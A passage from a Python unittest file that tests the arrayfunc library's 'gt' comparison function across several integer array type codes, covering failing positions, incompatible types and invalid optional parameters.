self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_l(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('l', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('l', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code l.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code l.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code l.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code l.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code l.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code l.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code l.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_l(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('l', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('l', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code l.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code l.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code l.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code l.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code l.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code l.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code l.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code l.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code l.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_L(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('L', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('L', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('L', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('L', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code L.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code L.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code L.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code L.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_L(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('L', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('L', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code L.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code L.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code L.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code L.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code L.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code L.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code L.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_L(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('L', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('L', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code L.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code L.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code L.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code L.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code L.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code L.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code L.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code L.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code L.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_q(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('q', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('q', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('q', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('q', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code q.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code q.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code q.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code q.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_q(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('q', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('q', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code q.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code q.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code q.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code q.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code q.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code q.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code q.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_q(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('q', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('q', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code q.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code q.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code q.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code q.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_Q(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('Q', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('Q', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('Q', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('Q', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code Q.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code Q.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code Q.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code Q.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_Q(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('Q', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('Q', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code Q.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code Q.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code Q.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code Q.
"""
for testval, badval in zip(self.data2, self.badarray2):
